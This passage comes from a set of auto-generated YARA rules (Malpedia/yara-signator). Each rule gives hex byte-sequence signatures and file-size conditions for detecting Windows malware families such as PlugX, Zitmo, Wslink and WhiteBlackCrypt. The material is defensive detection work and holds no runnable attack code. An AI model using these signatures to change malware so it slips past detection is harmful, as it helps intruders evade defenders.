		$sequence_5 = { 4863f0 ff15???????? 488bc8 4c8d4601 33d2 ff15???????? 488bd8 }
		$sequence_6 = { 8b4558 83e001 85c0 7414 836558fe 488b4d60 }
		$sequence_7 = { 488b4d0f 488d45ff 41b901000000 4889442420 4533c0 488d5517 ff15???????? }
		$sequence_8 = { 803c0800 75f7 488d5550 48c7c0ffffffff 48ffc0 }
		$sequence_9 = { 4c8d050f92ffff 33d2 33c9 e8???????? }
	condition:
		7 of them and filesize < 635904
}

rule MALPEDIA_Win_Mongall_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "084e4b5d-8f53-5615-8d00-9dc87d5afd58"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mongall"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mongall_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "a7343b890bc7cfe685e1d8a81a17e49736fde69b19000c5c5f4d58892316ec5a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 75ef 57 bf???????? e8???????? 6a7f }
		$sequence_1 = { 57 8bc2 c1f805 8b0485603f4100 8bfa 83e71f c1e706 }
		$sequence_2 = { 83c404 5e b801000000 5b c3 83f806 7543 }
		$sequence_3 = { 83c40c 8bdf 895df4 85c0 }
		$sequence_4 = { ff15???????? 85f6 7413 6a00 6a00 6a00 }
		$sequence_5 = { 85f6 7fdf eb07 838de4fdffffff 83bdccfdffff00 8b9de0fdffff 7457 }
		$sequence_6 = { c745fc00000000 8b7df8 85ff 7509 }
		$sequence_7 = { c745fc00000000 8b7df8 85ff 7509 5f 5e }
		$sequence_8 = { 0fbe8028e24000 83e00f eb02 33c0 }
		$sequence_9 = { 33c9 68???????? 51 6a03 }
	condition:
		7 of them and filesize < 199680
}

rule MALPEDIA_Win_Htprat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e0f24e75-a1ab-500e-b0d4-d1209cde7f99"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htprat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.htprat_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "e91a3a65365c65376e7831a92808c9a23ec534df8de8b5e0e4180f6424135b1f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 53 8db794010000 c645fc0c e8???????? 53 }
		$sequence_1 = { 743c 33c0 57 50 668985d8f9ffff }
		$sequence_2 = { 8bcb e8???????? 57 57 89b398000000 }
		$sequence_3 = { 57 57 57 ffb574efffff }
		$sequence_4 = { 832700 8d7708 c6470400 e8???????? 8365fc00 bb???????? 53 }
		$sequence_5 = { e9???????? 6a22 e9???????? 6a0c e9???????? 83e96e 7479 }
		$sequence_6 = { 8d742430 e8???????? 8bd6 8d4c2418 c68424e800000009 }
		$sequence_7 = { 83671000 c747140f000000 c60700 837de810 8b45d4 895d80 }
		$sequence_8 = { 8d442468 ff742478 50 8d8424a8000000 50 e8???????? 83c40c }
		$sequence_9 = { 8d741eff 8d5801 56 57 }
	condition:
		7 of them and filesize < 278528
}

rule MALPEDIA_Win_Wslink_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ff84d0ba-7c6b-551a-aa8c-f9cc4b863272"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wslink"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.wslink_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "87e90a1a72b66a6938037799ecf454860aae5ad77216cc7fb9189ea554932eeb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bd0 e8???????? 4885c0 7494 48638ba0000000 488bd1 3b8ba4000000 }
		$sequence_1 = { 488b8be8000000 4885c9 7405 e8???????? 488b7b08 4885ff }
		$sequence_2 = { 488b05???????? 4833c4 48898424c0000000 33db 458be1 4c89442450 4183cfff }
		$sequence_3 = { 4c8d0d633b0a00 448d400d e9???????? 83781000 0f859f000000 83780800 0f8495000000 }
		$sequence_4 = { 418bc5 e9???????? bad9000000 4c8d0d96920700 b910000000 448d42b3 c7442420d8000000 }
		$sequence_5 = { 4885c0 743d 4885f6 740e 660f1f440000 48ffce 881c06 }
		$sequence_6 = { 7532 4c8d0d97450a00 8d4810 448d4008 ba9a000000 c744242048010000 e8???????? }
		$sequence_7 = { 488bd8 4885c0 752b 4c8d0d885f0b00 8d506c 8d4820 448d4041 }
		$sequence_8 = { 0302 6690 e11c 0100 ec 1c01 00d6 }
		$sequence_9 = { e8???????? 8b8c2490000000 4885c0 746e 894b08 4d8b0f 498b5500 }
	condition:
		7 of them and filesize < 2007040
}

rule MALPEDIA_Win_Aveo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "58fed8b1-4a4c-5644-af15-f834ce14a282"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aveo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aveo_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "50253623bc7141d72df42bdf99f9bb3131c73cf858d2c7872df300d67b84cd17"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 894804 894808 89480c b9???????? 8d7901 8a11 41 }
		$sequence_1 = { 68???????? e8???????? 83c404 899df4fdffff eb06 89b5f4fdffff 68???????? }
		$sequence_2 = { 52 50 8d9df8feffff e8???????? }
		$sequence_3 = { 8d8dfcefffff 51 8bf8 e8???????? 33ff 39bdf4efffff }
		$sequence_4 = { e8???????? 83c40c 8d842418010000 50 8d8c241c030000 }
		$sequence_5 = { b9???????? 8d7901 8a11 41 84d2 75f9 2bcf }
		$sequence_6 = { 8db590fdffff 898574fdffff e8???????? be00100000 }
		$sequence_7 = { 50 e8???????? 8d8df4f9ffff 51 8d95f4feffff 52 }
		$sequence_8 = { 6803800000 50 ff15???????? 8b4de8 6a00 6a05 }
		$sequence_9 = { 51 e8???????? 8b4df8 83c404 5f }
	condition:
		7 of them and filesize < 180224
}

rule MALPEDIA_Win_Secondhandtea_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "24430ceb-9ce2-5574-9afd-319803953494"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.secondhandtea"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.secondhandtea_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "7cb092741fedaef6b40610c6e7ec59e3f301485274283d64b8f6a31d3c54f53c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? cc 4c8d0554c31400 498bd4 488bcd e8???????? 85c0 }
		$sequence_1 = { e8???????? 488bcf e8???????? 488b8b18100000 8b93fc070000 0fb701 3bd0 }
		$sequence_2 = { 753b c744242025000000 41b841000000 4c8d0d2e9b0b00 bac6000000 b90d000000 e8???????? }
		$sequence_3 = { e8???????? 4c8b642468 448be8 4883c470 415d 5f 5e }
		$sequence_4 = { e8???????? 8bf8 85c0 7ead 294318 7408 014314 }
		$sequence_5 = { e8???????? 4533c0 4c8d8bb4010000 418d502d 488bc8 e8???????? 488bcf }
		$sequence_6 = { e9???????? 498bc9 e8???????? 488bf8 4885c0 7527 4c8d0d9d780f00 }
		$sequence_7 = { e8???????? 488be8 4885c0 750f 488d154fac0c00 488bcf e8???????? }
		$sequence_8 = { e8???????? 418bc7 488b4d68 4833cd e8???????? 488b9da0000000 488bb5a8000000 }
		$sequence_9 = { e8???????? 33c0 ebc1 ba7a000000 4c8d0d517c0a00 c744242078000000 8d4a89 }
	condition:
		7 of them and filesize < 4452352
}

rule MALPEDIA_Win_Whiteblackcrypt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8b018fd5-a77f-5d35-804b-d70e18428f2b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiteblackcrypt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whiteblackcrypt_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "4f74eb7c5773b19a8be72f0225ca23ef138b3bc453243d9314335e49ca519939"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 40326c243e 31ef 4131fa 4531d6 4531f5 }
		$sequence_1 = { 7477 83feff 7c60 752e 488b8b38020000 }
		$sequence_2 = { 410f94c2 4409d0 4109cb 753a }
		$sequence_3 = { ff15???????? 83f812 0f84d4000000 488b8b38020000 e8???????? 48c7c0ffffffff }
		$sequence_4 = { 0f840c010000 488d7c2420 4889da 41b804010000 4889f9 }
		$sequence_5 = { 4889c1 e8???????? 4889e9 4889c2 4883c428 5b }
		$sequence_6 = { 0f84d4000000 488b8b38020000 e8???????? 48c7c0ffffffff 48898338020000 }
		$sequence_7 = { 4c89e1 41c6442cff00 e8???????? 4c39e6 }
		$sequence_8 = { 4889f1 e8???????? 4889f1 85c0 7407 }
		$sequence_9 = { 4401e6 4d63c4 4889f9 4989d9 ba01000000 }
	condition:
		7 of them and filesize < 99328
}

rule MALPEDIA_Win_Megumin_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c4a2dcf8-4894-5cef-ac41-bcc9553ffc60"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.megumin"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.megumin_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "ea7444cfb1798579fc346f04ef83b325fb03cf7f61d5558430123962ac8f5635"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 83c418 c745fc04000000 bb1f000000 83781410 899de0feffff 7202 }
		$sequence_1 = { c1e81f c78570ffffff0f000000 c6855cffffff00 f20f5804c540814600 f20f5885f8feffff f20f1185f8feffff e8???????? }
		$sequence_2 = { 3bc2 0f827a0c0000 2bce 2bc2 83c1fe 3bc1 0f42c8 }
		$sequence_3 = { 6a03 68???????? 8d8da4fdffff e8???????? 83bdb8fdffff10 8d95a4fdffff ffb5b4fdffff }
		$sequence_4 = { 8d4dc0 c645fc03 8bf0 e8???????? 85f6 0f844f010000 8b95e0fdffff }
		$sequence_5 = { 68???????? e8???????? 8d7db8 8d4f01 0f1f4000 8a07 47 }
		$sequence_6 = { c7461000000000 0f42bde0feffff 83bde4feffff10 57 0f438dd0feffff 51 c746140f000000 }
		$sequence_7 = { 8d9570fbffff 2bd1 8a01 8d4901 88440aff 84c0 }
		$sequence_8 = { 8bcf ffb5c4fbffff 6a05 e8???????? 8bf8 c785bcfbffff00000000 c785c0fbffff00000000 }
		$sequence_9 = { 0f8700010000 c1e003 3d00100000 721f 8d4823 3bc8 0f86f0000000 }
	condition:
		7 of them and filesize < 1007616
}

rule MALPEDIA_Win_Laturo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f1cda2c1-6a5a-560d-b916-62a96cbfcef4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.laturo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.laturo_auto.yar#L1-L175"
		license_url = "N/A"
		logic_hash = "fadff8d37ea5314574a4da4608d7ce7e1536afc4770400da40abe05fbc19031e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 418bf0 4c8d0d83b80000 8bda 4c8d0572b80000 488bf9 488d1570b80000 }
		$sequence_1 = { 88442438 807c243801 7413 807c243802 743a }
		$sequence_2 = { 57 4883ec78 c744242000000000 e8???????? 48833d????????00 0f84fb010000 488b8c2490000000 }
		$sequence_3 = { 4889442410 837c244c40 750d 0fb60424 88442403 }
		$sequence_4 = { 3b442450 740a 8b442420 89442424 }
		$sequence_5 = { 4883ec38 488b442440 48833800 747b c744242000000000 eb0a }
		$sequence_6 = { 25f0000000 3d80000000 0f8521010000 0fb6442450 488b4c2430 4803c8 488bc1 }
		$sequence_7 = { 4488742470 eb22 488d3d720a0100 eb19 488d3d610a0100 eb10 }
		$sequence_8 = { eb3f f6c201 740d 8b0e 8d41fb 3985e0fdffff 7430 }
		$sequence_9 = { 2502ffffff eb0d 8b45f4 807dfa05 0fb6c0 }
		$sequence_10 = { 8a4dff d3e0 84c0 7907 }
		$sequence_11 = { c745d500000000 66c745c40f80 c745c600000000 c645ff00 897de4 }
		$sequence_12 = { c645f404 eb2b c645f401 eb25 f6c110 7410 }
		$sequence_13 = { 51 0f95c0 6a40 8d044505000000 50 53 }
		$sequence_14 = { 43 884210 2a5dd8 881a 80fb0f 7615 814a1800500000 }
		$sequence_15 = { 68???????? 897df8 ff15???????? 85c0 742a 8b3d???????? 83fe20 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Shujin_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "20008e73-1b75-5617-9f42-c7c9bccd7072"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shujin"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shujin_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "498da53687cd17478c7025106c84cdcc0e6118bdb951cd75112ef2c2e9026da6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff35???????? 8f442404 68dd5d08ae 60 ff3424 }
		$sequence_1 = { 56 68???????? 53 53 ff15???????? 8984bdfcfeffff 47 }
		$sequence_2 = { 660fa3ff f8 3529af0800 9c c7858cfcffffcccccccc 9c f8 }
		$sequence_3 = { 6814050000 53 68???????? e8???????? 83c40c 891d???????? }
		$sequence_4 = { 8b742410 57 6a08 5f 8b4cfe50 }
		$sequence_5 = { c1ea02 8a92506c4000 8811 83e003 c1e004 8bd6 c1ea04 }
		$sequence_6 = { 8bda 23d8 0fb69be8a54000 33fb 8b5d08 337b04 8b5d0c }
		$sequence_7 = { c0f305 f9 6a04 87ce 9c 0fbec9 660face902 }
		$sequence_8 = { 885c2404 887c2404 8d642410 e8???????? 9c 668b3424 }
		$sequence_9 = { 8d45ec 50 68000f0050 8d8e74040000 57 e8???????? 6a05 }
	condition:
		7 of them and filesize < 172032
}

rule MALPEDIA_Win_Unidentified_089_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f61e4a77-808b-5e07-801b-03e57ce838b5"
		date = "2023-07-11"
		modified = "2023-07-15"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_089"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_089_auto.yar#L1-L98"
		license_url = "N/A"
		logic_hash = "f9666eb88fbd91e0eb2e4b4c8812230b36d73d66192fed407aecfaa8f0ed362a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20230705"
		malpedia_hash = "42d0574f4405bd7d2b154d321d345acb18834a41"
		malpedia_version = "20230715"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 889dd4feffff 899d84feffff 898588feffff 889d74feffff 33c0 }
		$sequence_1 = { 8b4508 e8???????? c20c00 e8???????? cc 6a30 }
		$sequence_2 = { f2e9e3000000 55 8bec eb0d ff7508 e8???????? }
		$sequence_3 = { 83f904 0f8582000000 8b75d0 8bfb }
		$sequence_4 = { eb0f ff7634 57 ff562c }
		$sequence_5 = { 88041e 880c1f 0fb6041e 8b4dfc 03c2 8b550c }
		$sequence_6 = { 3dffffff7f 0f87a2000000 03c0 3d00100000 7227 }
		$sequence_7 = { 56 6a01 8d4dec 8975d8 }
	condition:
		7 of them and filesize < 389120
}

rule MALPEDIA_Win_Zitmo_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "abf7d489-428c-576b-bf50-6d5176838935"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zitmo"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zitmo_auto.yar#L1-L118"
		license_url = "N/A"
		logic_hash = "af492533d6f46a2ad9ae3961738d77dc030c3e8231bbc6ee80a9ef330be7fcfa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 23cb 8bd6 ff75a0 e8???????? }
		$sequence_1 = { 55 8bec 81c434ffffff f7df 8bf0 49 }
		$sequence_2 = { 8175b437340000 23f9 f7d1 03d7 f7d2 }
		$sequence_3 = { 4b f7de c745bc36343335 03c3 f7da f7d1 }
		$sequence_4 = { ffb584feffff 56 e8???????? ffb574ffffff }
		$sequence_5 = { f7df 894da8 8955d0 ffb560feffff e8???????? c9 }
		$sequence_6 = { f7d7 ff45b4 8bcf f7d6 03fa 8d9568ffffff }
		$sequence_7 = { 81759437320000 3145b8 41 23c6 }
		$sequence_8 = { 42 4e f7df 03d7 48 40 }
		$sequence_9 = { 23cb 4a f7d0 8955c4 c9 c20c00 55 }
	condition:
		7 of them and filesize < 843776
}

rule MALPEDIA_Win_Cradlecore_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fec2c384-0d7c-5ffa-a383-057dccfbd935"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cradlecore_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "cc04ae06802f62915d99191dfee1f4ad76dcf5fb1c40032e747d4c7261b81445"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8d45d8 c645fc1c 50 e8???????? 8d4590 c645fc1d }
		$sequence_1 = { 8bf8 e9???????? 8b8528e5ffff 8b0c85f01f4300 8b8524e5ffff f644080480 0f8475030000 }
		$sequence_2 = { 03d9 014c2410 8b54240c 11442414 2bf1 1bf8 8b422c }
		$sequence_3 = { 8d4db0 8945fc e8???????? 8b55fc 8bcf f7d1 }
		$sequence_4 = { 8bc3 2b450c 741b 50 }
		$sequence_5 = { 50 51 8d8c248c000000 e8???????? 8b5508 8d4c2468 }
		$sequence_6 = { 395c2430 726f 837c243410 8b442420 7304 }
		$sequence_7 = { c1e606 c1e910 c0e107 8b1485f01f4300 8a443224 }
		$sequence_8 = { 8b7508 6a00 53 8d4c2430 e8???????? 8bc6 8b4c2444 }
		$sequence_9 = { 59 85c0 7831 8b1cc55c5e4200 6a55 53 e8???????? }
	condition:
		7 of them and filesize < 450560
}

rule MALPEDIA_Win_Plugx_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "087f4536-9e07-5d7f-a0d5-0a134931bcd8"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plugx_auto.yar#L1-L286"
		license_url = "N/A"
		logic_hash = "341c1f01e0832398e975d439fb075776745e2dea735d9688a1d350eef060bf14"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 55 8bec 51 0fb74612 }
		$sequence_1 = { 55 8bec 8b450c 81780402700000 }
		$sequence_2 = { 53 6a00 6a00 6a02 ffd0 85c0 }
		$sequence_3 = { 51 56 57 6a1c 8bf8 e8???????? 8bf0 }
		$sequence_4 = { 56 8b750c 8b4604 050070ffff }
		$sequence_5 = { 41 3bca 7ce0 3bca }
		$sequence_6 = { 0145f4 8b45fc 0fafc3 33d2 }
		$sequence_7 = { e8???????? 85c0 7508 e8???????? 8945fc }
		$sequence_8 = { e8???????? 3de5030000 7407 e8???????? }
		$sequence_9 = { 85c0 7413 e8???????? 3de5030000 }
		$sequence_10 = { e8???????? 85c0 7407 b84f050000 }
		$sequence_11 = { 50 ff15???????? a3???????? 8b4d18 }
		$sequence_12 = { e8???????? 85c0 750a e8???????? 8945fc }
		$sequence_13 = { 85c0 750d e8???????? 8945f4 }
		$sequence_14 = { 6a00 6a00 6a04 6a00 6a01 6800000040 57 }
		$sequence_15 = { 57 e8???????? eb0c e8???????? }
		$sequence_16 = { 51 6a00 6800100000 6800100000 68ff000000 6a00 6803000040 }
		$sequence_17 = { 6819000200 6a00 6a00 6a00 51 }
		$sequence_18 = { 50 ff75e8 6802000080 e8???????? }
		$sequence_19 = { ffd7 a3???????? 56 ffd0 }
		$sequence_20 = { 6a01 6a00 e8???????? a3???????? 6800080000 68???????? }
		$sequence_21 = { 51 6a02 e8???????? 6800f00000 }
		$sequence_22 = { 89442424 8b442424 6808020000 6a00 }
		$sequence_23 = { 6800080000 68???????? e8???????? 6800080000 68???????? e8???????? }
		$sequence_24 = { 6808020000 6a00 ff74242c e8???????? }
		$sequence_25 = { 5d c21000 55 53 57 56 83ec18 }
		$sequence_26 = { 89742434 89f1 8b442434 e8???????? }
		$sequence_27 = { 50 56 ffb42480000000 ff15???????? }
		$sequence_28 = { 50 6802000080 53 e8???????? }
		$sequence_29 = { 6a5c ff74241c e8???????? 83c408 }
		$sequence_30 = { 56 ff742478 ffd0 89442420 }
		$sequence_31 = { 6a00 ff74245c e8???????? 83c40c }
		$sequence_32 = { 40 eb95 89f1 c644242a00 }
	condition:
		7 of them and filesize < 1284096
}

rule MALPEDIA_Win_Horus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "69a4cf35-2806-517b-bb53-0add97c1f457"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.horus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.horus_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "98e7222b64c7a567c8f798abf5f3ca917bf88c189a0e21ef9e9894081482246f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b456f 3bc7 0f8458ffffff 488b757f 897d6f 8b456f 3bc7 }
		$sequence_1 = { 57 4883ec20 488b19 488bf9 4885db 0f84de000000 488b7378 }
		$sequence_2 = { 4c8945e8 488d4550 488945e0 65488b042560000000 488b4818 488b4110 488b08 }
		$sequence_3 = { 480f499df0000000 4885db 742f 488d4307 b908000000 8000d9 48ffc8 }
		$sequence_4 = { 488b5df8 eb02 33db 4885db 7429 488d4307 b908000000 }
		$sequence_5 = { 4c8bc6 488bc8 33d2 ff15???????? 49833c2400 0f8494000000 bd01000000 }
		$sequence_6 = { 83632c00 83633000 c7456f04fa0100 e9???????? 83637c00 488d4b04 488bd6 }
		$sequence_7 = { 7457 3d21c40100 0f84d8000000 3d84c80100 0f85cf000000 488b4580 4885c0 }
		$sequence_8 = { b803000000 c3 83792800 7427 488b5118 48837a0800 741c }
		$sequence_9 = { 0f849e000000 3d45940100 7465 3d56a60100 7441 3dffdc0100 7424 }
	condition:
		7 of them and filesize < 887808
}

rule MALPEDIA_Win_Loup_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1404f79d-5679-58f8-95e7-ea2d681e99b9"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.loup"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.loup_auto.yar#L1-L119"
		license_url = "N/A"
